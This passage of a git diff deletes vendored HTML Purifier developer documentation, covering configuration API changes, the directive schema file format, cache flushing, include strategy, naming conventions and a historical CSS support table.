HTMLPurifier_Config class now takes an alternate syntax. The general rule -is: - - If you passed $namespace, $directive, pass "$namespace.$directive" - instead. - -An example: - - $config->set('HTML', 'Allowed', 'p'); - -becomes: - - $config->set('HTML.Allowed', 'p'); - -New configuration options may have more than one namespace, they might -look something like %Filter.YouTube.Blacklist. While you could technically -set it with ('HTML', 'YouTube.Blacklist'), the logical extension -('HTML', 'YouTube', 'Blacklist') does not work. - -The old API will still work, but will emit E_USER_NOTICEs. - - - -2. Internal API Changes --------------------------------------------------------------------------------- - -Some overarching notes: we've completely eliminated the notion of namespace; -it's now an informal construct for organizing related configuration directives. - -Also, the validation routines for keys (formerly "$namespace.$directive") -have been completely relaxed. I don't think it really should be necessary. - -2.1 HTMLPurifier_ConfigSchema - -First off, if you're interfacing with this class, you really shouldn't. -HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that -should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the -only class that should be reading it. - -All namespace related methods were removed; they are completely unnecessary -now. Any $namespace, $name arguments must be replaced with $key (where -$key == "$namespace.$name"), including for addAlias(). - -The $info and $defaults member variables are no longer indexed as -[$namespace][$name]; they are now indexed as ["$namespace.$name"]. - -All deprecated methods were finally removed, after having yelled at you as -an E_USER_NOTICE for a while now. - -2.2 HTMLPurifier_ConfigSchema_Interchange - -Member variable $namespaces was removed. - -2.3 HTMLPurifier_ConfigSchema_Interchange_Id - -Member variable $namespace and $directive removed; member variable $key added. -Any method that took $namespace, $directive now takes $key. - -2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace - -Removed. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt b/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt deleted file mode 100644 index d5566e5b7c..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt +++ /dev/null @@ -1,165 +0,0 @@ -Configuration naming - -HTML Purifier 4.0.0 features a new configuration naming system that -allows arbitrary nesting of namespaces. While there are certain cases -in which using two namespaces is obviously better (the canonical example -is where we were using AutoFormatParam to contain directives for AutoFormat -parameters), it is unclear whether or not a general migration to highly -namespaced directives is a good idea or not. - -== Case studies == - -=== Attr.* === - -We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided -to think this out thoroughly. - -We currently have a large number of directives in the Attr.* namespace. -These directives tweak the behavior of some HTML attributes. They have -the properties: - -* While they apply to only one attribute at a time, the attribute can - span over multiple elements (not necessarily all attributes, either). - The information of which elements it impacts is either omitted or - informally stated (EnableID applies to all elements, DefaultImageAlt - applies to tags, AllowedRev doesn't say but only applies to a tags). - -* There is a certain degree of clustering that could be applied, especially - to the ID directives. The clustering could be done with respect to - what element/attribute was used, i.e. - - *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix - img.src -> DefaultInvalidImage - img.alt -> DefaultImageAlt, DefaultInvalidImageAlt - bdo.dir -> DefaultTextDir - a.rel -> AllowedRel - a.rev -> AllowedRev - a.target -> AllowedFrameTargets - a.name -> Name.UseCDATA - -* The directives often reference generic attribute types that were specified - in the DTD/specification. However, some of the behavior specifically relies - on the fact that other use cases of the attribute are not, at current, - supported by HTML Purifier. - - AllowedRel, AllowedRev -> heavily specific; if ends up being - allowed, we will also have to give users specificity there (we also - want to preserve generality) DTD %Linktypes, HTML5 distinguishes - between and / - AllowedFrameTargets -> heavily specific, but also used by - and
    . Transitional DTD %FrameTarget, not present in strict, - HTML5 calls them "browsing contexts" - Default*Image* -> as a default parameter, is almost entirely exlcusive - to - EnableID -> global attribute - Name.UseCDATA -> heavily specific, but has heavy other usage by - many things - -== AutoFormat.* == - -These have the fairly normal pluggable architecture that lends itself to -large amounts of namespaces (pluggability may be the key to figuring -out when gratuitous namespacing is good.) Properties: - -* Boolean directives are fair game for being namespaced: for example, - RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions, - the latter of which only makes sense when RemoveEmpty.RemoveNbsp - is set to true. (The same applies to RemoveNbsp too) - -The AutoFormat string is a bit long, but is the only bit of repeated -context. - -== Core.* == - -Core is the potpourri of directives, mostly regarding some minor behavioral -tweaks for HTML handling abilities. - - AggressivelyFixLt - AllowParseManyTags - ConvertDocumentToFragment - DirectLexLineNumberSyncInterval - LexerImpl - MaintainLineNumbers - Lexer - CollectErrors - Language - Error handling (Language is ostensibly a little more general, but - it's only used for error handling right now) - ColorKeywords - CSS and HTML - Encoding - EscapeNonASCIICharacters - Character encoding - EscapeInvalidChildren - EscapeInvalidTags - HiddenElements - RemoveInvalidImg - Lexing/Output - RemoveScriptContents - Deprecated - -== HTML.* == - - AllowedAttributes - AllowedElements - AllowedModules - Allowed - ForbiddenAttributes - ForbiddenElements - Element set tuning - BlockWrapper - Child def advanced twiddle - CoreModules - CustomDoctype - Advanced HTMLModuleManager twiddles - DefinitionID - DefinitionRev - Caching - Doctype - Parent - Strict - XHTML - Global environment - MaxImgLength - Attribute twiddle? (applies to two attributes) - Proprietary - SafeEmbed - SafeObject - Trusted - Extra functionality/tagsets - TidyAdd - TidyLevel - TidyRemove - Tidy - -== Output.* == - -These directly affect the output of Generator. These are all advanced -twiddles. - -== URI.* == - - AllowedSchemes - OverrideAllowedSchemes - Scheme tuning - Base - DefaultScheme - Host - Global environment - DefinitionID - DefinitionRev - Caching - DisableExternalResources - DisableExternal - DisableResources - Disable - Contextual/authority tuning - HostBlacklist - Authority tuning - MakeAbsolute - MungeResources - MungeSecretKey - Munge - Transformation behavior (munge can be grouped) - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html b/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html deleted file mode 100644 index 9bab798722..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - Config Schema - HTML Purifier - - - -

    Config Schema

    - -
    Filed under Development
    -
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has a fairly complex system for configuration. Users - interact with a HTMLPurifier_Config object to - set configuration directives. The values they set are validated according - to a configuration schema, HTMLPurifier_ConfigSchema. -

    - -

    - The schema is mostly transparent to end-users, but if you're doing development - work for HTML Purifier and need to define a new configuration directive, - you'll need to interact with it. We'll also talk about how to define - userspace configuration directives at the very end. -

    - -

    Write a directive file

    - -

    - Directive files define configuration directives to be used by - HTML Purifier. They are placed in library/HTMLPurifier/ConfigSchema/schema/ - in the form Namespace.Directive.txt (I - couldn't think of a more descriptive file extension.) - Directive files are actually what we call StringHashes, - i.e. associative arrays represented in a string form reminiscent of - PHPT tests. Here's a - sample directive file, Test.Sample.txt: -

    - -
    Test.Sample
    -TYPE: string/null
    -DEFAULT: NULL
    -ALLOWED: 'foo', 'bar'
    -VALUE-ALIASES: 'baz' => 'bar'
    -VERSION: 3.1.0
    ---DESCRIPTION--
    -This is a sample configuration directive for the purposes of the
    -<code>dev-config-schema.html<code> documentation.
    ---ALIASES--
    -Test.Example
    - -

    - Each of these segments has a specific meaning: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    KeyExampleDescription
    IDTest.SampleThe name of the directive, in the form Namespace.Directive - (implicitly the first line)
    TYPEstring/nullThe type of variable this directive accepts. See below for - details. You can also add /null to the end of - any basic type to allow null values too.
    DEFAULTNULLA parseable PHP expression of the default value.
    DESCRIPTIONThis is a...An HTML description of what this directive does.
    VERSION3.1.0Recommended. The version of HTML Purifier this directive was added. - Directives that have been around since 1.0.0 don't have this, - but any new ones should.
    ALIASESTest.ExampleOptional. A comma separated list of aliases for this directive. - This is most useful for backwards compatibility and should - not be used otherwise.
    ALLOWED'foo', 'bar'Optional. Set of allowed value for a directive, - a comma separated list of parseable PHP expressions. This - is only allowed string, istring, text and itext TYPEs.
    VALUE-ALIASES'baz' => 'bar'Optional. Mapping of one value to another, and - should be a comma separated list of keypair duples. This - is only allowed string, istring, text and itext TYPEs.
    DEPRECATED-VERSION3.1.0Not shown. Indicates that the directive was - deprecated this version.
    DEPRECATED-USETest.NewDirectiveNot shown. Indicates what new directive should be - used instead. Note that the directives will functionally be - different, although they should offer the same functionality. - If they are identical, use an alias instead.
    EXTERNALCSSTidyNot shown. Indicates if there is an external library - the user will need to download and install to use this configuration - directive. As of right now, this is merely a Google-able name; future - versions may also provide links and instructions.
    - -

    - Some notes on format and style: -

    - -
      -
    • - Each of these keys can be expressed in the short format - (KEY: Value) or the long format - (--KEY-- with value beneath). You must use the - long format if multiple lines are needed, or if a long format - has been used already (that's why ALIASES in our - example is in the long format); otherwise, it's user preference. -
    • -
    • - The HTML descriptions should be wrapped at about 80 columns; do - not rely on editor word-wrapping. -
    • -
    - -

    - Also, as promised, here is the set of possible types: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeExampleDescription
    string'Foo'String without newlines
    istring'foo'Case insensitive ASCII string without newlines
    text"A\nb"String with newlines
    itext"a\nb"Case insensitive ASCII string without newlines
    int23Integer
    float3.0Floating point number
    booltrueBoolean
    lookuparray('key' => true)Lookup array, used with isset($var[$key])
    listarray('f', 'b')List array, with ordered numerical indexes
    hasharray('key' => 'val')Associative array of keys to values
    mixednew stdClassAny PHP variable is fine
    - -

    - The examples represent what will be returned out of the configuration - object; users have a little bit of leeway when setting configuration - values (for example, a lookup value can be specified as a list; - HTML Purifier will flip it as necessary.) These types are defined - in - library/HTMLPurifier/VarParser.php. -

    - -

    - For more information on what values are allowed, and how they are parsed, - consult - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php, as well - as - library/HTMLPurifier/ConfigSchema/Interchange/Directive.php for - the semantics of the parsed values. -

    - -

    Refreshing the cache

    - -

    - You may have noticed that your directive file isn't doing anything - yet. That's because it hasn't been added to the runtime - HTMLPurifier_ConfigSchema instance. Run - maintenance/generate-schema-cache.php to fix this. - If there were no errors, you're good to go! Don't forget to add - some unit tests for your functionality! -

    - -

    - If you ever make changes to your configuration directives, you - will need to run this script again. -

    -

    Adding in-house schema definitions

    - -

    - Placing stuff directly in HTML Purifier's source tree is generally not a - good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your - life easier. -

    - -

    - The first is to pass an extra parameter to maintenance/generate-schema-cache.php - with the location of your directory (relative or absolute path will do). For example, - if I'm storing my custom definitions in /var/htmlpurifier/myschema, run: - php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema. -

    - -

    - Alternatively, you can create a small loader PHP file in the HTML Purifier base - directory named config-schema.php (this is the same directory - you would place a test-settings.php file). In this file, add - the following line for each directory you want to load: -

    - -
    $builder->buildDir($interchange, '/var/htmlpurifier/myschema');
    - -

    You can even load a single file using:

    - -
    $builder->buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');
    - -

    Storing custom definitions that you don't plan on sending back upstream in - a separate directory is definitely a good idea! Additionally, picking - a good namespace can go a long way to saving you grief if you want to use - someone else's change, but they picked the same name, or if HTML Purifier - decides to add support for a configuration directive that has the same name.

    - - - -

    Errors

    - -

    - All directive files go through a rigorous validation process - through - library/HTMLPurifier/ConfigSchema/Validator.php, as well - as some basic checks during building. While - listing every error out here is out-of-scope for this document, we - can give some general tips for interpreting error messages. - There are two types of errors: builder errors and validation errors. -

    - -

    Builder errors

    - -
    -

    - Exception: Expected type string, got - integer in DEFAULT in directive hash 'Ns.Dir' -

    -
    - -

    - You can identify a builder error by the keyword "directive hash." - These are the easiest to deal with, because they directly correspond - with your directive file. Find the offending directive file (which - is the directive hash plus the .txt extension), find the - offending index ("in DEFAULT" means the DEFAULT key) and fix the error. - This particular error would occur if your default value is not the same - type as TYPE. -

    - -

    Validation errors

    - -
    -

    - Exception: Alias 3 in valueAliases in directive - 'Ns.Dir' must be a string -

    -
    - -

    - These are a little trickier, because we're not actually validating - your directive file, or even the direct string hash representation. - We're validating an Interchange object, and the error messages do - not mention any string hash keys. -

    - -

    - Nevertheless, it's not difficult to figure out what went wrong. - Read the "context" statements in reverse: -

    - -
    -
    in directive 'Ns.Dir'
    -
    This means we need to look at the directive file Ns.Dir.txt
    -
    in valueAliases
    -
    There's no key actually called this, but there's one that's close: - VALUE-ALIASES. Indeed, that's where to look.
    -
    Alias 3
    -
    The value alias that is equal to 3 is the culprit.
    -
    - -

    - In this particular case, you're not allowed to alias integers values to - strings values. -

    - -

    - The most difficult part is translating the Interchange member variable (valueAliases) - into a directive file key (VALUE-ALIASES), but there's a one-to-one - correspondence currently. If the two formats diverge, any discrepancies - will be described in - library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php. -

    - -

    Internals

    - -

    - Much of the configuration schema framework's codebase deals with - shuffling data from one format to another, and doing validation on this - data. - The keystone of all of this is the HTMLPurifier_ConfigSchema_Interchange - class, which represents the purest, parsed representation of the schema. -

    - -

    - Hand-writing this data is unwieldy, however, so we write directive files. - These directive files are parsed by HTMLPurifier_StringHashParser - into HTMLPurifier_StringHashes, which then - are run through HTMLPurifier_ConfigSchema_InterchangeBuilder - to construct the interchange object. -

    - -

    - From the interchange object, the data can be siphoned into other forms - using HTMLPurifier_ConfigSchema_Builder subclasses. - For example, HTMLPurifier_ConfigSchema_Builder_ConfigSchema - generates a runtime HTMLPurifier_ConfigSchema object, - which HTMLPurifier_Config uses to validate its incoming - data. There is also an XML serializer, which is used to build documentation. -

    - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-flush.html b/vendor/ezyang/htmlpurifier/docs/dev-flush.html deleted file mode 100644 index 0fddafcd2e..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-flush.html +++ /dev/null @@ -1,68 +0,0 @@ - - - - - - - - Flushing the Purifier - HTML Purifier - - - -

    Flushing the Purifier

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - If you've been poking around the various folders in HTML Purifier, - you may have noticed the maintenance directory. Almost - all of these scripts are devoted to flushing out the various caches - HTML Purifier uses. Normal users don't have to worry about this: - regular library usage is transparent. However, when doing development - work on HTML Purifier, you may find you have to flush one of the - caches. -

    - -

    - As a general rule of thumb, run flush.php whenever you make - any major changes, or when tests start mysteriously failing. - In more detail, run this script if: -

    - -
      -
    • - You added new source files to HTML Purifier's main library. - (see generate-includes.php) -
    • -
    • - You modified the configuration schema (see - generate-schema-cache.php). This usually means - adding or modifying files in HTMLPurifier/ConfigSchema/schema/, - although in rare cases modifying HTMLPurifier/ConfigSchema.php - will also require this. -
    • -
    • - You modified a Definition, or its subsystems. The most usual candidate - is HTMLPurifier/HTMLDefinition.php, which also encompasses - the files in HTMLPurifier/HTMLModule/ as well as if you've - customizing definitions without - the cache disabled. (see flush-generation-cache.php) -
    • -
    • - You modified source files, and have been using the standalone - version from the full installation. (see generate-standalone.php) -
    • -
    - -

    - You can check out the corresponding scripts for more information on what they - do. -

    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-includes.txt b/vendor/ezyang/htmlpurifier/docs/dev-includes.txt deleted file mode 100644 index e128a812a4..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-includes.txt +++ /dev/null @@ -1,281 +0,0 @@ - -INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION - -The Problem ------------ - -HTML Purifier contains a number of extra components that are not used all -of the time, only if the user explicitly specifies that we should use -them. - -Some of these optional components are optionally included (Filter, -Language, Lexer, Printer), while others are included all the time -(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these -are all developer specified: it is conceivable that certain Tokens are not -used, but this is user-dependent and should not be trusted. - -We should come up with a consistent way to handle these things and ensure -that we get the maximum performance when there is bytecode caches and -when there are not. Unfortunately, these two goals seem contrary to each -other. - -A peripheral issue is the performance of ConfigSchema, which has been -shown take a large, constant amount of initialization time, and is -intricately linked to the issue of includes due to its pervasive use -in our plugin architecture. - -Pros and Cons -------------- - -We will assume that user-based extensions will be included by them. - -Conditional includes: - Pros: - - User management is simplified; only a single directive needs to be set - - Only necessary code is included - Cons: - - Doesn't play nicely with opcode caches - - Adds complexity to standalone version - - Optional configuration directives are not exposed without a little - extra coaxing (not implemented yet) - -Include it all: - Pros: - - User management is still simple - - Plays nicely with opcode caches and standalone version - - All configuration directives are present - Cons: - - Lots of (how much?) extra code is included - - Classes that inherit from external libraries will cause compile - errors - -Build an include stub (Let's do this!): - Pros: - - Only necessary code is included - - Plays nicely with opcode caches and standalone version - - require (without once) can be used, see above - - Could further extend as a compilation to one file - Cons: - - Not implemented yet - - Requires user intervention and use of a command line script - - Standalone script must be chained to this - - More complex and compiled-language-like - - Requires a whole new class of system-wide configuration directives, - as configuration objects can be reused - - Determining what needs to be included can be complex (see above) - - No way of autodetecting dynamically instantiated classes - - Might be slow - -Include stubs -------------- - -This solution may be "just right" for users who are heavily oriented -towards performance. However, there are a number of picky implementation -details to work out beforehand. - -The number one concern is how to make the HTML Purifier files "work -out of the box", while still being able to easily get them into a form -that works with this setup. As the codebase stands right now, it would -be necessary to strip out all of the require_once calls. The only way -we could get rid of the require_once calls is to use __autoload or -use the stub for all cases (which might not be a bad idea). - - Aside - ----- - An important thing to remember, however, is that these require_once's - are valuable data about what classes a file needs. Unfortunately, there's - no distinction between whether or not the file is needed all the time, - or whether or not it is one of our "optional" files. Thus, it is - effectively useless. - - Deprecated - ---------- - One of the things I'd like to do is have the code search for any classes - that are explicitly mentioned in the code. If a class isn't mentioned, I - get to assume that it is "optional," i.e. included via introspection. - The choice is either to use PHP's tokenizer or use regexps; regexps would - be faster but a tokenizer would be more correct. If this ends up being - unfeasible, adding dependency comments isn't a bad idea. (This could - even be done automatically by search/replacing require_once, although - we'd have to manually inspect the results for the optional requires.) - - NOTE: This ends up not being necessary, as we're going to make the user - figure out all the extra classes they need, and only include the core - which is predetermined. - -Using the autoload framework with include stubs works nicely with -introspective classes: instead of having to have require_once inside -the function, we can let autoload do the work; we simply need to -new $class or accept the object straight from the caller. Handling filters -becomes a simple matter of ticking off configuration directives, and -if ConfigSchema spits out errors, adding the necessary includes. We could -also use the autoload framework as a fallback, in case the user forgets -to make the include, but doesn't really care about performance. - - Insight - ------- - All of this talk is merely a natural extension of what our current - standalone functionality does. However, instead of having our code - perform the includes, or attempting to inline everything that possibly - could be used, we boot the issue to the user, making them include - everything or setup the fallback autoload handler. - -Configuration Schema --------------------- - -A common deficiency for all of the conditional include setups (including -the dynamically built include PHP stub) is that if one of this -conditionally included files includes a configuration directive, it -is not accessible to configdoc. A stopgap solution for this problem is -to have it piggy-back off of the data in the merge-library.php script -to figure out what extra files it needs to include, but if the file also -inherits classes that don't exist, we're in big trouble. - -I think it's high time we centralized the configuration documentation. -However, the type checking has been a great boon for the library, and -I'd like to keep that. The compromise is to use some other source, and -then parse it into the ConfigSchema internal format (sans all of those -nasty documentation strings which we really don't need at runtime) and -serialize that for future use. - -The next question is that of format. XML is very verbose, and the prospect -of setting defaults in it gives me willies. However, this may be necessary. -Splitting up the file into manageable chunks may alleviate this trouble, -and we may be even want to create our own format optimized for specifying -configuration. It might look like (based off the PHPT format, which is -nicely compact yet unambiguous and human-readable): - -Core.HiddenElements -TYPE: lookup -DEFAULT: array('script', 'style') // auto-converted during processing ---ALIASES-- -Core.InvisibleElements, Core.StupidElements ---DESCRIPTION-- -

    - Blah blah -

    - -The first line is the directive name, the lines after that prior to the -first --HEADER-- block are single-line values, and then after that -the multiline values are there. No value is restricted to a particular -format: DEFAULT could very well be multiline if that would be easier. -This would make it insanely easy, also, to add arbitrary extra parameters, -like: - -VERSION: 3.0.0 -ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array() -EXTERNAL: CSSTidy // this would be documented somewhere else with a URL - -The final loss would be that you wouldn't know what file the directive -was used in; with some clever regexps it should be possible to -figure out where $config->get($ns, $d); occurs. Reflective calls to -the configuration object is mitigated by the fact that getBatch is -used, so we can simply talk about that in the namespace definition page. -This might be slow, but it would only happen when we are creating -the documentation for consumption, and is sugar. - -We can put this in a schema/ directory, outside of HTML Purifier. The serialized -data gets treated like entities.ser. - -The final thing that needs to be handled is user defined configurations. -They can be added at runtime using ConfigSchema::registerDirectory() -which globs the directory and grabs all of the directives to be incorporated -in. Then, the result is saved. We may want to take advantage of the -DefinitionCache framework, although it is not altogether certain what -configuration directives would be used to generate our key (meta-directives!) - - Further thoughts - ---------------- - Our master configuration schema will only need to be updated once - every new version, so it's easily versionable. User specified - schema files are far more volatile, but it's far too expensive - to check the filemtimes of all the files, so a DefinitionRev style - mechanism works better. However, we can uniquely identify the - schema based on the directories they loaded, so there's no need - for a DefinitionId until we give them full programmatic control. - - These variables should be directly incorporated into ConfigSchema, - and ConfigSchema should handle serialization. Some refactoring will be - necessary for the DefinitionCache classes, as they are built with - Config in mind. If the user changes something, the cache file gets - rebuilt. If the version changes, the cache file gets rebuilt. Since - our unit tests flush the caches before we start, and the operation is - pretty fast, this will not negatively impact unit testing. - -One last thing: certain configuration directives require that files -get added. They may even be specified dynamically. It is not a good idea -for the HTMLPurifier_Config object to be used directly for such matters. -Instead, the userland code should explicitly perform the includes. We may -put in something like: - -REQUIRES: HTMLPurifier_Filter_ExtractStyleBlocks - -To indicate that if that class doesn't exist, and the user is attempting -to use the directive, we should fatally error out. The stub includes the core files, -and the user includes everything else. Any reflective things like new -$class would be required to tie in with the configuration. - -It would work very well with rarely used configuration options, but it -wouldn't be so good for "core" parts that can be disabled. In such cases -the core include file would need to be modified, and the only way -to properly do this is use the configuration object. Once again, our -ability to create cache keys saves the day again: we can create arbitrary -stub files for arbitrary configurations and include those. They could -even be the single file affairs. The only thing we'd need to include, -then, would be HTMLPurifier_Config! Then, the configuration object would -load the library. - - An aside... - ----------- - One questions, however, the wisdom of letting PHP files write other PHP - files. It seems like a recipe for disaster, or at least lots of headaches - in highly secured setups, where PHP does not have the ability to write - to its root. In such cases, we could use sticky bits or tell the user - to manually generate the file. - - The other troublesome bit is actually doing the calculations necessary. - For certain cases, it's simple (such as URIScheme), but for AttrDef - and HTMLModule the dependency trees are very complex in relation to - %HTML.Allowed and friends. I think that this idea should be shelved - and looked at a later, less insane date. - -An interesting dilemma presents itself when a configuration form is offered -to the user. Normally, the configuration object is not accessible without -editing PHP code; this facility changes thing. The sensible thing to do -is stipulate that all classes required by the directives you allow must -be included. - -Unit testing ------------- - -Setting up the parsing and translation into our existing format would not -be difficult to do. It might represent a good time for us to rethink our -tests for these facilities; as creative as they are, they are often hacky -and require public visibility for things that ought to be protected. -This is especially applicable for our DefinitionCache tests. - -Migration ---------- - -Because we are not *adding* anything essentially new, it should be trivial -to write a script to take our existing data and dump it into the new format. -Well, not trivial, but fairly easy to accomplish. Primary implementation -difficulties would probably involve formatting the file nicely. - -Backwards-compatibility ------------------------ - -I expect that the ConfigSchema methods should stick around for a little bit, -but display E_USER_NOTICE warnings that they are deprecated. This will -require documentation! - -New stuff ---------- - -VERSION: Version number directive was introduced -DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated? -DEPRECATED-USE: If the directive was deprecated, what should the user use now? -REQUIRES: What classes does this configuration directive require, but are - not part of the HTML Purifier core? - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/dev-naming.html b/vendor/ezyang/htmlpurifier/docs/dev-naming.html deleted file mode 100644 index 4060005bfa..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-naming.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - -Naming Conventions - HTML Purifier - - - -

    Naming Conventions

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    The classes in this library follow a few naming conventions, which may -help you find the correct functionality more quickly. Here they are:

    - -
    - -
    All classes occupy the HTMLPurifier pseudo-namespace.
    -
    This means that all classes are prefixed with HTMLPurifier_. As such, all - names under HTMLPurifier_ are reserved. I recommend that you use the name - HTMLPurifierX_YourName_ClassName, especially if you want to take advantage - of HTMLPurifier_ConfigDef.
    - -
    All classes correspond to their path if library/ was in the include path
    -
    HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace - underscores with slashes and append .php and you'll have the location of - the class.
    - -
    Harness and Test are reserved class names for unit tests
    -
    The suffix Test indicates that the class is a subclass of UnitTestCase - (of the Simpletest library) and is testable. "Harness" indicates a subclass - of UnitTestCase that is not meant to be run but to be extended into - concrete test cases and contains custom test methods (i.e. assert*())
    - -
    Class names do not necessarily represent inheritance hierarchies
    -
    While we try to reflect inheritance in naming to some extent, it is not - guaranteed (for instance, none of the classes inherit from HTMLPurifier, - the base class). However, all class files have the require_once - declarations to whichever classes they are tightly coupled to.
    - -
    Strategy has a meaning different from the Gang of Four pattern
    -
    In Design Patterns, the Gang of Four describes a Strategy object as - encapsulating an algorithm so that they can be switched at run-time. While - our strategies are indeed algorithms, they are not meant to be substituted: - all must be present in order for proper functioning.
    - -
    Abbreviations are avoided
    -
    We try to avoid abbreviations as much as possible, but in some cases, - abbreviated version is more readable than the full version. Here, we - list common abbreviations: -
      -
    • Attr to Attributes (note that it is plural, i.e. $attr = array())
    • -
    • Def to Definition
    • -
    • $ret is the value to be returned in a function
    • -
    -
    - -
    Ambiguity concerning the definition of Def/Definition
    -
    While a definition normally defines the structure/acceptable values of - an entity, most of the definitions in this application also attempt - to validate and fix the value. I am unsure of a better name, as - "Validator" would exclude fixing the value, "Fixer" doesn't invoke - the proper image of "fixing" something, and "ValidatorFixer" is too long! - Some other suggestions were "Handler", "Reference", "Check", "Fix", - "Repair" and "Heal".
    - -
    Transform not Transformer
    -
    Transform is both a noun and a verb, and thus we define a "Transform" as - something that "transforms," leaving "Transformer" (which sounds like an - electrical device/robot toy).
    - -
    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-optimization.html b/vendor/ezyang/htmlpurifier/docs/dev-optimization.html deleted file mode 100644 index 681e034f5c..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-optimization.html +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - -Optimization - HTML Purifier - - - -

    Optimization

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Here are some possible optimization techniques we can apply to code sections if -they turn out to be slow. Be sure not to prematurely optimize: if you get -that itch, put it here!

    - -
      -
    • Make Tokens Flyweights (may prove problematic, probably not worth it)
    • -
    • Rewrite regexps into PHP code
    • -
    • Batch regexp validation (do as many per function call as possible)
    • -
    • Parallelize strategies
    • -
    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/dev-progress.html b/vendor/ezyang/htmlpurifier/docs/dev-progress.html deleted file mode 100644 index 2243b82022..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/dev-progress.html +++ /dev/null @@ -1,309 +0,0 @@ - - - - - - - -Implementation Progress - HTML Purifier - - - - - -

    Implementation Progress

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Warning: This table is kept for historical purposes and - is not being actively updated. -

    - -

    Key

    - - - - - - - - -
    Implemented
    Partially implemented
    Not priority to implement
    Dangerous attribute/property
    Present in CSS1
    Feature, requires extra work
    - -

    CSS

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameNotes
    Standard
    background-colorCOMPOSITE(<color>, transparent)
    backgroundSHORTHAND, currently alias for background-color
    borderSHORTHAND, MULTIPLE
    border-colorMULTIPLE
    border-styleMULTIPLE
    border-widthMULTIPLE
    border-*SHORTHAND
    border-*-colorCOMPOSITE(<color>, transparent)
    border-*-styleENUM(none, hidden, dotted, dashed, - solid, double, groove, ridge, inset, outset)
    border-*-widthCOMPOSITE(<length>, thin, medium, thick)
    clearENUM(none, left, right, both)
    color<color>
    floatENUM(left, right, none), May require layout - precautions with clear
    fontSHORTHAND
    font-familyCSS validator may complain if fallback font - family not specified
    font-sizeCOMPOSITE(<absolute-size>, - <relative-size>, <length>, <percentage>)
    font-styleENUM(normal, italic, oblique)
    font-variantENUM(normal, small-caps)
    font-weightENUM(normal, bold, bolder, lighter, - 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for - in-between integers
    letter-spacingCOMPOSITE(<length>, normal)
    line-heightCOMPOSITE(<number>, - <length>, <percentage>, normal)
    list-style-positionENUM(inside, outside), - Strange behavior in browsers
    list-style-typeENUM(...), - Well-supported values are: disc, circle, square, - decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also - CSS 3. Mostly IE lack of support.
    list-styleSHORTHAND
    marginMULTIPLE
    margin-*COMPOSITE(<length>, - <percentage>, auto)
    paddingMULTIPLE
    padding-*COMPOSITE(<length>(positive), - <percentage>(positive))
    text-alignENUM(left, right, - center, justify)
    text-decorationNo blink (argh my eyes), not - enum, can be combined (composite sorta): underline, overline, - line-through
    text-indentCOMPOSITE(<length>, - <percentage>)
    text-transformENUM(capitalize, uppercase, - lowercase, none)
    widthCOMPOSITE(<length>, - <percentage>, auto), Interesting
    word-spacingCOMPOSITE(<length>, auto), - IE 5 no support
    Table
    border-collapseENUM(collapse, seperate)
    border-spaceMULTIPLE
    caption-sideENUM(top, bottom)
    empty-cellsENUM(show, hide), No IE support makes this useless, - possible fix with &nbsp;? Unknown release milestone.
    table-layoutENUM(auto, fixed)
    vertical-alignCOMPOSITE(ENUM(baseline, sub, - super, top, text-top, middle, bottom, text-bottom), <percentage>, - <length>) Also applies to others with explicit height
    Absolute positioning, unknown release milestone
    bottomDangerous, must be non-negative to even be considered, - but it's still possible to arbitrarily position by running over.
    left
    right
    top
    clip-
